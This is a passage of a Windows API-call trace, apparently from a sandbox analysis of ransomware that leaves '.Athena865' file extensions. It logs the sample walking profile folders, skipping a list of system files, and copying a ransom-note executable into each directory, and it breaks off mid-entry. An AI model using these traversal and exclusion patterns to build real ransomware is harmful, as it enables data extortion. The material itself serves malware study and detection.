lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc77f7b80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77f7b80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.733] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.733] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.733] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0103.733] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0103.733] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc77f7b80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc77f7b80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.733] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.733] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe5111000, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe5111000, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 1 [0103.733] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.733] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.733] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2=".") returned 1 [0103.733] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="..") returned 1 [0103.733] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="windows") returned -1 [0103.733] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="bootmgr") returned -1 [0103.733] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="temp") returned -1 [0103.733] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="pagefile.sys") returned -1 [0103.734] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="boot") returned -1 [0103.734] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="ids.txt") returned -1 [0103.734] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="ntuser.dat") returned -1 [0103.734] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="perflogs") returned -1 [0103.734] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="MSBuild") returned -1 [0103.734] lstrlenW (lpString="{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned 38 [0103.734] lstrcpyW (in: lpString1=0x241e8ce, lpString2="{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="{31810C36-5D23-4CCE-A3B4-316DED195C38}" [0103.734] lstrcatW (in: lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="\\" | out: lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\") returned="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\" [0103.734] lstrcatW (in: lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\HOW TO BACK YOUR FILES.exe") returned="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\HOW TO BACK YOUR FILES.exe" [0103.734] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Application Data\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\application data\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.734] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe5111000, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe5111000, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 0 [0103.734] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.735] ReleaseMutex (hMutex=0xec) returned 1 [0103.735] CloseHandle (hObject=0xec) returned 1 [0103.735] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Application Data\\Microsoft" | out: lpString1="C:\\Documents and Settings\\Default User\\Application Data\\Microsoft") returned="C:\\Documents and Settings\\Default User\\Application Data\\Microsoft" [0103.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513dc8 | out: hHeap=0x4f0000) returned 1 [0103.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ccd8 | out: hHeap=0x4f0000) returned 1 [0103.735] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Application Data\\Microsoft") returned 65 [0103.735] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\495F1B7FE8549E37F23672DBA8909946") returned 0xec [0103.735] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.735] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Application Data\\Microsoft" | out: lpString1="C:\\Documents and Settings\\Default User\\Application Data\\Microsoft") returned="C:\\Documents and Settings\\Default User\\Application Data\\Microsoft" [0103.735] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.735] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\application data\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.736] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\application data\\microsoft\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.736] GetLastError () returned 0x0 [0103.736] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.736] ReadFile (in: hFile=0xf4, lpBuffer=0x547d40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x547d40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0103.737] CloseHandle (hObject=0xf4) returned 1 [0103.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547d40 | out: hHeap=0x4f0000) returned 1 [0103.737] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.737] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Application Data\\Microsoft\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc77f7b80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77f7b80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.737] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.737] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.737] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0103.737] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc77f7b80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77f7b80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.737] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.737] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.737] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0103.737] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0103.737] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe5111000, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe5111000, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0103.737] lstrcmpiW (lpString1="Credentials", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.737] lstrcmpiW (lpString1="Credentials", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.737] lstrcmpiW (lpString1="Credentials", lpString2=".") returned 1 [0103.737] lstrcmpiW (lpString1="Credentials", lpString2="..") returned 1 [0103.737] lstrcmpiW (lpString1="Credentials", lpString2="windows") returned -1 [0103.737] lstrcmpiW (lpString1="Credentials", lpString2="bootmgr") returned 1 [0103.737] lstrcmpiW (lpString1="Credentials", lpString2="temp") returned -1 [0103.737] lstrcmpiW (lpString1="Credentials", lpString2="pagefile.sys") returned -1 [0103.737] lstrcmpiW (lpString1="Credentials", lpString2="boot") returned 1 [0103.737] lstrcmpiW (lpString1="Credentials", lpString2="ids.txt") returned -1 [0103.737] lstrcmpiW (lpString1="Credentials", lpString2="ntuser.dat") returned -1 [0103.737] lstrcmpiW (lpString1="Credentials", lpString2="perflogs") returned -1 [0103.737] lstrcmpiW (lpString1="Credentials", lpString2="MSBuild") returned -1 [0103.737] lstrlenW (lpString="Credentials") returned 11 [0103.738] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Credentials" | out: lpString1="Credentials") returned="Credentials" [0103.738] lstrcatW (in: lpString1="Credentials", lpString2="\\" | out: lpString1="Credentials\\") returned="Credentials\\" [0103.738] lstrcatW (in: lpString1="Credentials\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Credentials\\HOW TO BACK YOUR FILES.exe") returned="Credentials\\HOW TO BACK YOUR FILES.exe" [0103.738] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Application Data\\Microsoft\\Credentials\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\application data\\microsoft\\credentials\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.738] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe5111000, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe5111000, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0103.738] lstrcmpiW (lpString1="Crypto", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.738] lstrcmpiW (lpString1="Crypto", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.738] lstrcmpiW (lpString1="Crypto", lpString2=".") returned 1 [0103.738] lstrcmpiW (lpString1="Crypto", lpString2="..") returned 1 [0103.738] lstrcmpiW (lpString1="Crypto", lpString2="windows") returned -1 [0103.738] lstrcmpiW (lpString1="Crypto", lpString2="bootmgr") returned 1 [0103.738] lstrcmpiW (lpString1="Crypto", lpString2="temp") returned -1 [0103.738] lstrcmpiW (lpString1="Crypto", lpString2="pagefile.sys") returned -1 [0103.738] lstrcmpiW (lpString1="Crypto", lpString2="boot") returned 1 [0103.738] lstrcmpiW (lpString1="Crypto", lpString2="ids.txt") returned -1 [0103.739] lstrcmpiW (lpString1="Crypto", lpString2="ntuser.dat") returned -1 [0103.739] lstrcmpiW (lpString1="Crypto", lpString2="perflogs") returned -1 [0103.739] lstrcmpiW (lpString1="Crypto", lpString2="MSBuild") returned -1 [0103.739] lstrlenW (lpString="Crypto") returned 6 [0103.739] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Crypto" | out: lpString1="Crypto") returned="Crypto" [0103.739] lstrcatW (in: lpString1="Crypto", lpString2="\\" | out: lpString1="Crypto\\") returned="Crypto\\" [0103.739] lstrcatW (in: lpString1="Crypto\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Crypto\\HOW TO BACK YOUR FILES.exe") returned="Crypto\\HOW TO BACK YOUR FILES.exe" [0103.739] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Application Data\\Microsoft\\Crypto\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\application data\\microsoft\\crypto\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.739] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc77f7b80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc77f7b80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.739] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.739] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe5111000, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe5111000, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0103.739] lstrcmpiW (lpString1="Internet Explorer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.739] lstrcmpiW (lpString1="Internet Explorer", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.739] lstrcmpiW (lpString1="Internet Explorer", lpString2=".") returned 1 [0103.739] lstrcmpiW (lpString1="Internet Explorer", lpString2="..") returned 1 [0103.739] lstrcmpiW (lpString1="Internet Explorer", lpString2="windows") returned -1 [0103.740] lstrcmpiW (lpString1="Internet Explorer", lpString2="bootmgr") returned 1 [0103.740] lstrcmpiW (lpString1="Internet Explorer", lpString2="temp") returned -1 [0103.740] lstrcmpiW (lpString1="Internet Explorer", lpString2="pagefile.sys") returned -1 [0103.740] lstrcmpiW (lpString1="Internet Explorer", lpString2="boot") returned 1 [0103.740] lstrcmpiW (lpString1="Internet Explorer", lpString2="ids.txt") returned 1 [0103.740] lstrcmpiW (lpString1="Internet Explorer", lpString2="ntuser.dat") returned -1 [0103.740] lstrcmpiW (lpString1="Internet Explorer", lpString2="perflogs") returned -1 [0103.740] lstrcmpiW (lpString1="Internet Explorer", lpString2="MSBuild") returned -1 [0103.740] lstrlenW (lpString="Internet Explorer") returned 17 [0103.740] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Internet Explorer" | out: lpString1="Internet Explorer") returned="Internet Explorer" [0103.740] lstrcatW (in: lpString1="Internet Explorer", lpString2="\\" | out: lpString1="Internet Explorer\\") returned="Internet Explorer\\" [0103.740] lstrcatW (in: lpString1="Internet Explorer\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Internet Explorer\\HOW TO BACK YOUR FILES.exe") returned="Internet Explorer\\HOW TO BACK YOUR FILES.exe" [0103.740] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Application Data\\Microsoft\\Internet Explorer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\application data\\microsoft\\internet explorer\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.740] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe5111000, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe5111000, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Protect", cAlternateFileName="")) returned 1 [0103.740] lstrcmpiW (lpString1="Protect", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.741] lstrcmpiW (lpString1="Protect", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.741] lstrcmpiW (lpString1="Protect", lpString2=".") returned 1 [0103.741] lstrcmpiW (lpString1="Protect", lpString2="..") returned 1 [0103.741] lstrcmpiW (lpString1="Protect", lpString2="windows") returned -1 [0103.741] lstrcmpiW (lpString1="Protect", lpString2="bootmgr") returned 1 [0103.741] lstrcmpiW (lpString1="Protect", lpString2="temp") returned -1 [0103.741] lstrcmpiW (lpString1="Protect", lpString2="pagefile.sys") returned 1 [0103.741] lstrcmpiW (lpString1="Protect", lpString2="boot") returned 1 [0103.741] lstrcmpiW (lpString1="Protect", lpString2="ids.txt") returned 1 [0103.741] lstrcmpiW (lpString1="Protect", lpString2="ntuser.dat") returned 1 [0103.741] lstrcmpiW (lpString1="Protect", lpString2="perflogs") returned 1 [0103.741] lstrcmpiW (lpString1="Protect", lpString2="MSBuild") returned 1 [0103.741] lstrlenW (lpString="Protect") returned 7 [0103.741] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Protect" | out: lpString1="Protect") returned="Protect" [0103.741] lstrcatW (in: lpString1="Protect", lpString2="\\" | out: lpString1="Protect\\") returned="Protect\\" [0103.741] lstrcatW (in: lpString1="Protect\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Protect\\HOW TO BACK YOUR FILES.exe") returned="Protect\\HOW TO BACK YOUR FILES.exe" [0103.741] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Application Data\\Microsoft\\Protect\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\application data\\microsoft\\protect\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.742] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe5137160, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe5137160, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1 [0103.742] lstrcmpiW (lpString1="SystemCertificates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.742] lstrcmpiW (lpString1="SystemCertificates", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.742] lstrcmpiW (lpString1="SystemCertificates", lpString2=".") returned 1 [0103.742] lstrcmpiW (lpString1="SystemCertificates", lpString2="..") returned 1 [0103.742] lstrcmpiW (lpString1="SystemCertificates", lpString2="windows") returned -1 [0103.742] lstrcmpiW (lpString1="SystemCertificates", lpString2="bootmgr") returned 1 [0103.742] lstrcmpiW (lpString1="SystemCertificates", lpString2="temp") returned -1 [0103.742] lstrcmpiW (lpString1="SystemCertificates", lpString2="pagefile.sys") returned 1 [0103.742] lstrcpyW (in: lpString1=0x241e8cc, lpString2="SystemCertificates" | out: lpString1="SystemCertificates") returned="SystemCertificates" [0103.742] lstrcatW (in: lpString1="SystemCertificates", lpString2="\\" | out: lpString1="SystemCertificates\\") returned="SystemCertificates\\" [0103.742] lstrcatW (in: lpString1="SystemCertificates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SystemCertificates\\HOW TO BACK YOUR FILES.exe") returned="SystemCertificates\\HOW TO BACK YOUR FILES.exe" [0103.742] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Application Data\\Microsoft\\SystemCertificates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\application data\\microsoft\\systemcertificates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.743] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0103.743] lstrcmpiW (lpString1="Windows", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.743] lstrcmpiW (lpString1="Windows", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.745] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Documents\\My Music" | out: lpString1="C:\\Documents and Settings\\Default User\\Documents\\My Music") returned="C:\\Documents and Settings\\Default User\\Documents\\My Music" [0103.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5026a8 | out: hHeap=0x4f0000) returned 1 [0103.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cd50 | out: hHeap=0x4f0000) returned 1 [0103.745] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Documents\\My Music") returned 57 [0103.745] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A9D46041B6FBA63821EFBBED8D2AB9D9") returned 0xec [0103.745] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.745] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Documents\\My Music" | out: lpString1="C:\\Documents and Settings\\Default User\\Documents\\My Music") returned="C:\\Documents and Settings\\Default User\\Documents\\My Music" [0103.745] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.745] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.745] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\documents\\my music\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.746] GetLastError () returned 0x0 [0103.746] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.746] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.746] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Documents\\My Music\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7af1700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7af1700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.746] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.746] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.747] lstrcpyW (in: lpString1=0x241e8bc, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0103.747] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0103.747] lstrlenW (lpString="Athena865") returned 9 [0103.747] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.747] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcfb4860, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, 